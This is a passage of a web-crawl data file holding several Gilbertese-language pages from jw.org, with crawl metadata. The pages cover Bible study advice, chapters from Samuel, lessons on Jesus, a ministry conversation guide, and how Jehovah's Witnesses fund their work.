Baibara. N te aro raa? E kona ni karikirakea onimakinan ana berita Iehova iroum bwa a na boni koro bukia. (Iot 23:14) E kona naba ni karikirakea tangiran te Atua iroum, ike ko a kaungaaki iai bwa ko na kakaraoa ae eti. (TA 97:10) Ma ko na moanna mai ia? Iangoi aanga n ibuobuoki aikai:\nTera ae N na ukeuke n reirei i aona? E irekereke te babaire ibukin te ukeuke n reirei ae nakoraoi ma te katauraoi ibukini bobotaki n te ekaretia. Ko na kakabwaiaaki riki n am wareware n te Baibara n te wiki ngkana ko karekea am tai ni kakaaei baika kakawaki aika ko aki ota iai. Irarikin anne, a rineia tabeman bwa a na reiakina riki te taetae ni burabeti n te Baibara, uaan taamnein te Atua aika kakaokoro, mwamwanangan te abotoro Bauro ni mitinare, ke ana karikibwai Iehova. Ngkana iai te titiraki i aon te Baibara ae ko iangoia n te bong anne, koreia ao taraia bwa ko na rinanona n am ukeuke n reirei are imwina.\nN na karekea ia te ibuobuoki? Ibukin ibuobuoki tabeua, mataku n te taamnei ae Bwaai n Ukeuke Ibukini Kaubwai n Taamnei Aika Kakawaki. Ibukin tuoan am atatai, kakaaei tautaeka aika mwaaka riki n te aonnaba ake a tei ibukia maan ake n Taniera mwakoro 7.\nMwaitira te tai ae N na kabanea iai? Te katoatai n ukeuke n reirei bon te anga ae kakawaki ibukini kateimatoaan am onimaki. Ko kona ni moanna man te tai ae uarereke ngkana ko nora riaina, ao ni kakarakaa teutana imwin teutana. Titeboo te ukeuke n reirei n Ana Taeka te Atua ma kenakini baika kakawaki aika karabaaki. Ngkana a bati riki kaubwai aika ko kunei, ane ko na kani keniken riki! (TNR 2:3-6) E na rikirake tangiran Ana Taeka te Atua iroum, ao e na riki bwa anuam te katoatai n ukeuke n reirei n te Baibara.—1Be 2:2.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/okitobwa-2017-mwb\/kaetieti-ibukin-te-botaki-oki2-8\/arom-n-riki-bwa-te-tia-ukeuke-n-reirei-n-te-baibara-ae-taningamarau\/","date":"2018-01-20T18:13:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889677.76\/warc\/CC-MAIN-20180120162254-20180120182254-00326.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":357,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.398,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n24 Ao e a manga urarake naba unin Iehova irouia tibun Iteraera,+ ngke e kauekeaki nanon Tawita iroun temanna bwa e na ekiianako, ni kangai: \"Naako, warekiia+ tibun Iteraera ao tibun Iuta.\"+ 2 Mangaia are e taku te uea nakon Ioaba+ are te mataniwi n te taanga ni buaka, are raona: \"Taiaoka ma naako ribuakoia aia baronga nako tibun Iteraera, mai Tan ni karokoa Beerateba,+ ao korei araia aomata bwa I aonga n atai mwaitiia.\" 3 Ma e taku Ioaba nakon te uea: \"Ke e kamwaitiia aomata 100 te tai Iehova ae Atuam, ao ke a nora anne matan au toka ae te uea, ma e aera ngkai e kani karaoa anne au toka ae te uea?\" 4 Ma e tokanikai ana taeka te uea i aon Ioaba ma mataniwin nako te taanga ni buaka. Mangaia are e a otinako Ioaba ma mataniwin nako te taanga ni buaka mai matan te uea, bwa a na korei araia tibun Iteraera.+ 5 A rinanon te Ioretan nakon iterana are teuana ao a kaembwa i Aroera,+ i angaatain* te kaawa, i nukan te mwarua, ni kaineta abaia tibuni Kata, ao ni kaineta Iatera.+ 6 Imwin anne ao a mwananga nako Kireata+ ao te aba ae Tatimoteti, ao a reitinako nako Taniaan ao a mwananga ni katobibi nako Titon.+ 7 Ao a nakon te kaawa ae nonoaki ae Turo+ ma aia kaawa ni kabane taian Iwaite+ ma tibuni Kanaan, ao n tokina a a roko i Beerateba+ n te Nekebo*+ are i aban Iuta. 8 Mangaia are a rinanon aaba ni kabane ao a roko i Ierutarem imwini banen ruaiwa namwakaina ao 20 te bong. 9 E a anga ngkai Ioaba nakon te uea mwaitiia aomata ake a koreaki araia. Botani mwaitiia tibun Iteraera bon 800,000 taani buaka aika uakabaang, ao mwaane aika tibun Iuta bon 500,000.+ 10 Ma e a rawawata nanon* Tawita+ imwini warekaia aomata. E taku ngkanne Tawita nakon Iehova: \"I bon rangi ni bure+ ni karaoan aei. Ao ngkai Iehova taiaoka ma kabwaraa ana bure am toro,+ bwa I a tia ni karaoa te aro ae rangi n nanobaba.\"+ 11 Ngke e a uti Tawita n te ingabong, ao e a roko ana taeka Iehova irouni Kata+ are te burabeti are ana tia nori miitara Tawita, ae kangai: 12 \"Naako ao kangai nakon Tawita, 'E kangai ana taeka Iehova: \"I anganiko tuuaa aika tenua. Ko na rinea teuana ae N na karokoa i aom.\"'\"+ 13 Mangaia are e rin Kata nakon Tawita ao e tuangnga ni kangai: \"A na roko ririki n rongo aika itiua i aon abam?+ Ke ko na birinako i nanon tenua namwakaina mairouia taani kakaaitarako ngkana a kaeko?+ Ke e na roko te aoraki ae kamamate i abam i nanon tenibong?+ Iangoa raoi ngkai te bwai ae N na kaekaa iai Teuare kanakomaiai.\" 14 Mangaia are e taku Tawita nakoni Kata: \"E rangi ni karawawata irou. Taiaoka ma ti bia bwaka nako nanoni bain Iehova+ bwa e korakora ana nanoanga,+ ma tai kariaia bwa N na bwaka nako nanoni bain te aomata.\"+ 15 Ao e kanakoa te aoraki ae kamamate+ Iehova nako aoia tibun Iteraera man te ingabong ni karokoa te tai are e a tia ni baireaki, n te aro are a a mate +aomata aika 70,000 mai Tan ni karokoa Beerateba.+ 16 Ngke e arora baina te anera nako Ierutarem bwa e na kamauna, ao e a manga uringaaba* Iehova ibukin te rekenikai arei,+ ao e taku nakon te anera are karokoa te kamaunanakoaki i buakoia aomata: \"E a tau! Ani kabwakaa ngkanne baim.\" E a uakaan ana anera Iehova ma ana tabo ni kaaki kun ni uita Arauna+ are te I-Iebuti.+ 17 E taku Tawita nakon Iehova ngke e nora te anera are kamateia aomata: \"Boni ngai ae I bure ao boni ngai ae I karaoa ae kairua, ao tera ae a karaoia tiibu aikai?+ Taiaoka ma ke e ekainako baim ma kaaini batan tamau.\"+ 18 Mangaia are e rin Kata nakon Tawita n te bong anne ao e taku nakoina: \"Naako waerake, ao katea te baonikarea ibukin Iehova n ana tabo ni kaaki kun ni uita Arauna are te I-Iebuti.\"+ 19 Mangaia are e waerake Tawita n ana taeka Kata, n aron are e tua Iehova. 20 Ngke e taraa naano Arauna ao e nora te uea ma ana toro ni waerake nakoina, ao e a otinako naba ngkekei Arauna ao e katorobubua ni bobaraaki i aontano nakon te uea. 21 E titiraki ni kangai Arauna: \"E aera ngkai e a roko au toka ae te uea nakon ana toro?\" E kaeka ni kangai Tawita: \"Bwa N na kabooa te tabo ni kaaki kun ni uita mairoum, bwa N na katea iai te baonikarea nakon Iehova, bwa e aonga n toki te rekenikai ae kamamate nakoia aomata.\"+ 22 Ma e taku Arauna nakon Tawita: \"Ke e anaia au toka ae te uea ao ni kareana iai te bwai ae e taku bwa e raoiroi irouna.* Ao aikai kaao ibukin te karea ni kabuekaki ao te kaa ni kaaki kun ni uita ae katikitikaki, ao bwaai ni mwakuri ibukin te kao ao te aia. 23 E anga baikai ni kabane Arauna nakon te uea.\" Ao e taku Arauna nakon te uea: \"Ke e akoiko Iehova ae Atuam.\" 24 Ma e taku te uea nakon Arauna: \"Tiaki ngaia anne, I riai ni kabooa mairoum ni boona. N na aki anga taiani karea ni kabuekaki nakon Iehova ae Atuau ni baika I aki kabooi.\" Mangaia are e kabooa te tabo ni kaaki kun ni uita ma kaao Tawita n 50 te tiekera* n tirewa.+ 25 Ao e katea te baonikarea+ Tawita nakon Iehova ikekei, ao e kareani karea ni kabuekaki ma karea n raoi. Ao e mutiakina aia bubutii Iehova ibukin te aba,+ ao e a toki te rekenikai arei nakoia tibun Iteraera.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-tamuera\/24\/","date":"2018-01-20T03:29:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084888878.44\/warc\/CC-MAIN-20180120023744-20180120043744-00023.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":971,"character_repetition_ratio":0.064,"word_repetition_ratio":0.004,"special_characters_ratio":0.247,"stopwords_ratio":0.429,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E roko Iesu i aon te aba bwa e na anga maiuna ibukia aomata aika aki kororaoi. E ngae ngke e mate ma e a tia n tokanikai i aoia kaain te aonnaba. E kakaonimaki ni koaua Iehova nakon Natina ao e kaoka maiuna. E kananorinanoa Iesu ni karokoa matena n arona ni beku ibukia aomata ao ni kabwarai aia bure ngkana a bure. Ngke e a tia ni kautaki Iesu, e boni kaoti nakoia taan rimwina. E reireinia aroia ni karaoa te mwakuri ae kakawaki are e mwiokoiia iai. Ngkana te karo ngkoe, buoka natim bwa e na ataia ae ti mwiokoaki n te mwakuri naba aei ni boong aikai.\nN TE MWAKORO AEI\nREIREI 87\nE anga Iesu kaetieti aika kakawaki nakoia ana abotoro n ana kabanea ni katairiki ma ngaiia.\nREIREI 88\nE kairiia Iuta aomata aika akiako aika bati ma aia kabaang ao aia kai n oro nakon te onnaroka i Ketetemane bwa a aonga ni katika Iesu.\nREIREI 89\nTera ae riki n ana katawanang Kaiaba? Ao tera ae riki nakon Iesu i nanon te auti?\nREIREI 90\nE aera Birato ngke e tua kamatean Iesu?\nREIREI 91\nBaikara baika kamimi aika riki ni boong ake imwini kamatean Iesu?\nREIREI 92\nTera ae e karaoia bwa a aonga ni kinaa?\nREIREI 93\nImwaini karaoan anne, e angania taan rimwina kaetieti tabeua aika rangi ni kakawaki.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/13\/","date":"2018-01-24T11:53:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084894125.99\/warc\/CC-MAIN-20180124105939-20180124125939-00642.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":223,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.39,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n4 Ao e teimatoa Tamuera n taetae nakoia tibun Iteraera ni kabane. Ao a nako tibun Iteraera bwa a na buaka ma I-Biritia, ao a kaembwa i rarikin Ebenetera, ao a katei aia umwanrianna I-Biritia i Abeki. 2 A baireiia raoi I-Biritia ni baireaia taani buaka bwa a na boo ma tibun Iteraera, ma e aki nakoraoi te buaka ao a konaaki tibun Iteraera irouia I-Biritia, ao a kamateia mwaane aika tao 4,000 n te marae n tain te buaka. 3 Ngke a oki aomata nakon te kaembwa, ao a taku aia unimwaane tibun Iteraera: \"E aera ngkai e kariaia Iehova bwa ti na konaaki* n te bong aei irouia I-Biritia?+ Ti na uota ana ati ni berita Iehova mai Tiro,+ bwa e aonga ni mena i buakora te baei ao ni kamaiuira mai nanoni baia aiara.\" 4 Ao aomata a kanakoia mwaane nako Tiro, ao a uouota mai ikekei ana ati ni berita Iehova ae Atuaia taanga ni buaka,* are e tekateka n te kaintokanuea i etaia* kerubim.*+ A mena naba natin Eeri ake Obeni ma Bineati+ i rarikin ana ati ni berita te Atua ae koaua. 5 Ngke e roko naba ngkekei ana ati ni berita Iehova n te kaembwa, ao a a tatakarua tibun Iteraera ni kabane, n te aro are e a mwaeiei aon te aba. 6 Ngke a ongo I-Biritia kaberoron te tatakarua, ao a taku: \"E aera ngkai e a korakora te tatakarua n aia kaembwa taian Ebera?\" N tokina ao a ataia ae e a roko ana Ati Iehova n te kaembwa. 7 A a maaku I-Biritia bwa a taku: \"E a roko te Atua i nanon te kaembwa!\"+ Mangaia are a taku: \"Ai kaawara ngaira, bwa e tuai man riki te bwai ae ai aron aei mai mwaina! 8 Ai kaawara ngaira! Antai ae e na kamaiuira mai nanoni bain te Atua ae mimitong aei? Aei te Atua are orea Aikubita n aaro ni kamamate n aekaia nako n te rereua.+ 9 Kam na ninikoria ao kammwaaneingkami, ngkami aika I-Biritia, bwa kam aonga n aki toro irouia taian Ebera n aron ae a a tia n toro iroumi.+ Kammwaaneingkami ao buaka!\" 10 Mangaia are a buaka I-Biritia ao a konaaki tibun Iteraera,+ ao a birinako nakon aia umwanrianna n tatabemania nako. Ao e rangi ni korakora te kamamate, ao a mate tautia aika taan rianna aika 30,000, man aia itera tibun Iteraera. 11 Ao e tauaki ana Ati te Atua, ao a a mate natin Eeri ake uoman ake Obeni ma Bineati.+ 12 Ao e birinako man te marae ni buaka te mwaane temanna ae tibuni Beniamin, ao e roko i Tiro n te bong anne ma kunnikaina ae raeuaaki ao e mena te tano i aon atuna.+ 13 Ngke e roko teuarei, ao e tekateka Eeri i aon te kaintekateka i rarikin te kawai ni kakantaninga, ibukina bwa e ruru nanona ibukin ana Ati te Atua ae koaua.+ Ao e nakon te kaawa teuarei bwa e na uota te rongorongo, ao a a tang kaain te kaawa ni kabane. 14 Ngke e ongo Eeri karongoaan te tang, ao e titiraki ni kangai: \"Tera nanoni karongoaan te kiriwe aei?\" Ao e ienikuri n rin te mwaane naba arei ao e kaongoraea Eeri te rongorongo. 15 (Ai 98 ngkai ana ririki ni maiu Eeri, ao a aki kakammwakuri kanoani matana ao e aki kona n noraaba.)+ 16 E taku ngkanne teuarei nakon Eeri: \"I bon roko man te marae ni buaka! Bon te bong aei ae I birinako iai man te marae ni buaka.\" Mangaia are e titiraki ni kangai: \"Ao tera ae riki natiu?\" 17 Ao e taku teuare te tia uota te rongorongo: \"A a birinako tibun Iteraera mairouia I-Biritia, ao e a rangi ni korakora konaakia aomata,+ ao a mate naba natim ake uoman ake Obeni ma Bineati,+ ao e a tauaki ana Ati te Atua ae koaua.\"+ 18 N te tai are e taekina naba iai ana Ati te Atua ae koaua, ao e a bwaka naba Eeri ni botararake man ana kaintekateka i rarikini mataroan te oo, ao e mwaoto roroana ao e mate, bwa e a kara ao e tinebu. E a tia ni momotiki taekaia tibun Iteraera i nanon 40 te ririki. 19 Ao e bikoukou buun natina, are buuni Bineati, ao e a kaani bung. Ngke e ongo neiei te rongorongo are e a tauaki ana Ati te Atua ae koaua, ma maten tamani buuna ao boni buuna naba, ao e baraaki ao e a rina naba n ariri ao e bung. 20 Ao ngke e nangi mate, ao a taku aine ake a tei i rarikina: \"Tai maaku bwa ko a bungia te nati te mwaane.\" Ao e aki kaeka ao e aki tabe iai.* 21 Ma e arana te teei bwa Ikabota,*+ bwa e kangai: \"E a nako te karineaki mai Iteraera nakon te taenikai,\"+ ae e nanona tauakin ana Ati te Atua ae koaua ao te baere riki nakon tamani buuna ao boni buuna naba.+ 22 E taku neiei: \"E a nako te karineaki mai Iteraera, ibukina bwa e a tauaki ana Ati te Atua ae koaua.\"+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/1-tamuera\/4\/","date":"2018-01-24T06:45:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084893397.98\/warc\/CC-MAIN-20180124050449-20180124070449-00050.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":863,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.45,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N te tataro ni katoto, e taekinna Iesu bwa a riai ni moanibwai iroura baika irekereke ma ana kantaninga Iehova ao te Tautaeka n Uea.\nAran te Atua\nAna Tautaeka n Uea te Atua\nNanon te Atua\nKanara ae tau ibukin teuana te bong\nKabwaraan ara bure\nKamaiuara man te kariri\nBwaai tabeua aika irekereke ma te Tautaeka n Uea ake I kona n tataroi:\nKarikirakean te mwakuri n uarongorongo\nTaamnein te Atua ibukini kakorakoraaia aika bwainikirinaki\nAna kakabwaia te Atua ibukini katean auti tabeua n ana botaki ke mwakuri n uarongorongo aika okoro\nTe wanawana ao te korakora mairoun te Atua ibukia taani kairiri\nBwaai riki tabeua","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/tianuare-2018-mwb\/kaetieti-n-te-botaki-tian15-21\/ukoukora-moa-te-tautaeka-n-uea\/","date":"2018-01-19T06:43:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887746.35\/warc\/CC-MAIN-20180119045937-20180119065937-00762.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":108,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.179,"stopwords_ratio":0.38,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ni moa man Tebetembwa ao e nangi rin n Te Boki n Reirei ae Maiura ni Kristian ao Ara Mwakuri ni Minita, aron te maroro ae boou ae atuna \"Reireinia Aomata te Koaua.\" Tiara boni katuruturuan te koaua teuana ae bebete man te Baibara, ni kabonganaan te titiraki teuana ao te kibu.\nNgkana ti noria bwa e kan ongora, ti kona ni kaingaingaa nanona imwain rokora are imwina n arora ni katuka te boki teuana, ke ni kaota te taamnei teuana man te jw.org. Ti riai ni kataia n okiria imwin tabebong n reita ara maroro are mai mwaina. Aron te maroro ae boou aei ao aia reirei kaain te kuura a na boto i aoni kabwarabwaraani mwakoro n te aro ae kimototo n te boki ae Tera Reireiara Man te Baibara? Ti kona n nori iai titiraki riki tabeua ma kiibu ake a na buokira ni manga okira te aomata, ke ni kaira te reirei ni kabongana tii te Baibara.\nTii teaina te kawai ae tiki nakon te maiu. (Mt 7:13, 14) Kioina ngkai ti maroro ma aomata aika kakaokoro aia Aro ao rikiaia, ti riai ni kaotii koaua man te Baibara ake e na anai nanoia n tatabemania nako. (1Ti 2:4) Ngkana ti a taneiai riki ma reirei n te Baibara aika kakaokoro ao e a rikirake riki rabakaura ni \"kabwarabwaraa taekan te koaua n te aro ae eti,\" e na rikirake riki kimwareireira, ao n uaana ara angareirei nakoia aomata.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/aokati-2016-mwb\/kaetietin-te-botaki-aok29-teb4\/aron-te-maroro-ae-reireinia-aomata-te-koaua\/","date":"2018-01-24T07:03:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084893397.98\/warc\/CC-MAIN-20180124050449-20180124070449-00465.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":240,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.4,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tera ae Riki n te Tabo n Taromauri? Tera ae Riki n te Tabo n Taromauri? Nakomai noria ao ko na ataia. Ti karautaeka bwa e aki moa maiu. Karekea te Viteo Aei Reiakina ae bati riki ANTAI AIKA A KAKARAOA NANON IEHOVA NI BOONG AIKAI? Bukin Tera ao A Kangaa ni Kateaki Aia Tabo n Taromauri Ana Tia Kakoaua Iehova? Bukin tera bwa e aranaki ara tabo ni bobotaki bwa te Tabo n Taromauri? Reiakina riki ae bati bwa a kangaa ni buokaki ara ekaretia ni karaoi kateitei aika bon tau buburaia aikai. Te Rongorongo Ae Raoiroi Mairoun te Atua! Buki Tera Bwa Iai Ana Botaki te Atua? E taekinaki n te Baibara bukina ao aroia Kristian ni koaua ni baireaki raoi. Print Tibwaia Tibwaia BOBOTAKI Tera ae Riki n te Tabo n Taromauri? Kiribati Tera ae Riki n te Tabo n Taromauri? https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/m\/502014315\/univ\/art\/502014315_univ_sqr_xl.jpg","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/ana-tia-kakoaua-iehova\/bobotaki\/taamnei-tabo-n-taromauri\/","date":"2018-01-23T12:17:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891926.62\/warc\/CC-MAIN-20180123111826-20180123131826-00760.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":145,"character_repetition_ratio":0.154,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.407,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E KAOAKI IROUN IESU MATAIO AE TE TIA RIKOA TE TAEKITI\nE RAONIA IESU TAANI BURE BWA E NA BUOKIIA\nE teimatoa n tiku Iesu n aononi Kaberenaum irarikin Namani Kariraia, tabeua te tai imwini kamarurungan teuare mate rabwatana. A a manga kawaria naba te koraki ao e a reireinia. Ngke e tabe n nakonako ao e a nora Mataio are arana naba Rewi, n tekateka n aobitin te taekiti. E a taekina nakoina te kakao ae moanibaan te raoiroi ae kangai: \"Ko na riki bwa te tia rimwiu.\"—Mataio 9:9.\nE bae n taneiai Mataio ma ana reirei Iesu ake e tataekin ao mwakuri ake e karaoi n te aono arei, n aroia naba Betero, Anterea, Iakobo, ao Ioane. E kariaia naba ngkekei kaoana Mataio n aroia nakanne. E kabwarabwaraa anne Mataio n ana euangkerio ni kangai: \"Ao e teirake [Mataio] ao e iria.\" (Mataio 9:9) E teirake ni kitana tabena ae te tia rikoa te taekiti, ao n riki bwa te tia rimwin Iesu.\nImwina riki ao tao ibukini bukamaruani kaoana ae kakawaki aei iroun Iesu, e a tewea te baka n amwarake ae bubura Mataio n ana auti. Antai riki ake a kaoaki i rarikin Iesu ma taan rimwina? Bon raoraoni ngkoa Mataio ao taan rikoa te taekiti ake tabeman riki. A ririkoi taekiti ibukia kaain te tautaeka n Rom ake a riribaaki, n ikotaki ma taian taekiti ni kaibuke ake a rooroo n te matabaiawa, taian taekiti ibukia te koraki aika bobotaki ni mwamwananga ni kawai aika abwabwaki, ao tiute i aoni kaako aika kaoaki man aaba tabeua. Tera aroia I-Iutaia ni kaineti ma taan rikoi taekiti aikai? A riribaaki irouia aomata ibukina bwa a aki toki ni babakanikawaiia aomata ni karakai aia angabwai nakoni mwaitin te taekiti are a bon riai ni kabwakaaki. Iai naba 'taani bure' n te botaki anne, ake aomata ake a kakaraoa ae bure.—Ruka 7:37-39.\nN norakin Iesu n te baka n amwarake ma aeka n aomata aikai, ao Baritaio ake a baka n raoiroi ake a roko naba, a titirakinia taan rimwina ni kangai: \"E aera ngkai e amwarake ami tia reirei ma taan rikoa te taekiti ao taani bure?\" (Mataio 9:11) E ongo aia taeka Iesu ao e taku: \"A aki kainnanoa te taokita aomata aika marurung, ma a kainnanoia akana aoraki. Naako moa reiakina ae nanonaki n ae kangai: 'I tangira te nanoanga ao tiaki te angakarea,' bwa I roko bwa N na weteiia taani bure ao tiaki akana raoiroi.\" (Mataio 9:12, 13; Otea 6:6) E ngae ngke a atonga Iesu bwa te \"tia reirei\" Baritaio, ma a aki kakoauaa ae te tia reirei, ngaia are a aki kan reirei mairoun Iesu e ngae ngke e kona n reireinia te bwai ae eti.\nE bae ni kaoia taan rikoa te taekiti Mataio ao taani bure nakoni mwengana bwa a aonga n ongora iroun Iesu, ao ni kakorakoraaki aia onimaki \"bwa a mwaiti mai buakoia ake a a riki bwa taan rimwina.\" (Mareko 2:15) E kani buokiia Iesu ni kanakoraoa aia iraorao ma te Atua. E aki ribaiia aeka n aomata aikai Iesu, tiaki n aroia Baritaio ake a baka n raoiroi. E a riki bwa te tia bwainnaorakia aia onimaki aomata nako ake a mamaara n te onimaki bwa e atataiaomata ao e nanoanga.\nE kaotiota te nanoanga Iesu nakoia taan rikoa te taekiti ao taani bure, ma e aki kauarerekea rawawatan aia bure ma e kaota ana nanoanga n aron naba are e kaotiotia nakoia aoraki. N te katoto, uringa arona ngke e arora baina ma te nanoanga n ringa te rebera ao e kangai: \"I kani karaoia! Ko na itiaki.\" (Mataio 8:3) Ti aki riai ngkanne ni karikirakea te nanoanga ao ni buokiia ake a kani buokaki, riki n aia onimaki?","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/mwakuri-ni-minita-i-kariraia\/mataio-te-tia-rikoa-te-taekiti\/","date":"2018-01-23T16:09:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891980.75\/warc\/CC-MAIN-20180123151545-20180123171545-00600.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":615,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.387,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A boreetiaki n ara botaki ao a tibwatibwaaki n aki kabooaki mirion ma mirion Baibara ao booki riki tabeua ni katoa ririki. Ti katei Taabo n Taromauri ao aobiti n tararua, ao ti kateimatoai taraaraoia. Ti boutokaia nga ma nga kaain te utu ni Betaera ao mitinare, ao ti katauraoi baike a kainnanoaki n tain te kabuanibwai ae karina. Ma ko bae ni mimi ao ni kangai: 'A mwanenaki mai ia baikai?'\nTi aki anga ara kabwianibwai, ti aki kabwakamwane ibukin rikira bwa Ana Tia Kakoaua Iehova, ke ni karemwangko. E ngae ngke e bati te mwane ae kainnanoaki ibukini boutokaan ara mwakuri n uarongorongo, ma ti aki bubutii te mwane. Tebubua tabun te ririki n nako, ao e taekinaki n te kauoua ni maekatin ae te Taua-n-Tantani bwa ti kakoauaa ae e boutokaira Iehova, ai ngaia are \"ti aki riai ni bubutiia aomata te mwane ibukini boutokaan ara botaki,\" ao bon anne te bwai ae ti aki karaoia!\nA boutokaaki ara mwakuri ni bwaintangira aika nako mai nanoia aomata. A bati aomata aika kakaitau ibukin ara mwakuri n angareirei ae aanaki man te Baibara, ao a anga aia bwaintangira ibukini boutokaan te mwakuri. A kukurei Taani Kakoaua ni kabanea aia tai, korakoraia, aia mwane, ao baike iai irouia, ibukini kakaraoan nanon te Atua i aon te aba ni kabutaa. (1 Rongorongo 29:9) Bon iai bwaoki ni bwaintangira n Taabo n Taromauri, ara tabo ni bobotaki ao ni bwabwaro ake a kona ni karini iai aia bwaintangira aomata ake a kani karaoa anne. Ke a kona naba ni bwaintangira rinanon ara atureti n te intanete ae jw.org. A reke bwaintangira n aaba nako mairouia aomata aika aki kaubwai, n aron are e karaoia te aine ae kainnano are e a tia ni mate buuna are e taekinna Iesu bwa e kabwakai uoua te maibibi n te nne ni mwane. (Ruka 21:1-4) Mangaia are a kona aomata nako ni 'kaokoroi aia bwai' bwa a na anga ae a 'kataua i nanoia.'\nTi kakoauaa bwa e na teimatoa Iehova ni kairi nanoia te koraki ake a kan 'neboia n aia bwai nako' ibukini boutokaan te mwakuri ibukin te Tautaeka n Uea, bwa e aonga ni kakororaoaki nanona.\nE kangaa ni kaokoro ara botaki ma Aaro nako?\nE kangaa aroni kamanenaani bwaintangira ake a nako mai nanoia aomata?","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/nanon-Iehova\/mwanenaki-ara-mwakuri-ni-katobibia-te-aonnaba\/","date":"2018-01-17T08:20:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886830.8\/warc\/CC-MAIN-20180117063030-20180117083030-00410.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":382,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.411,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N NUKAN 1930 tabun, a mwaing tamau ma tinau ae James 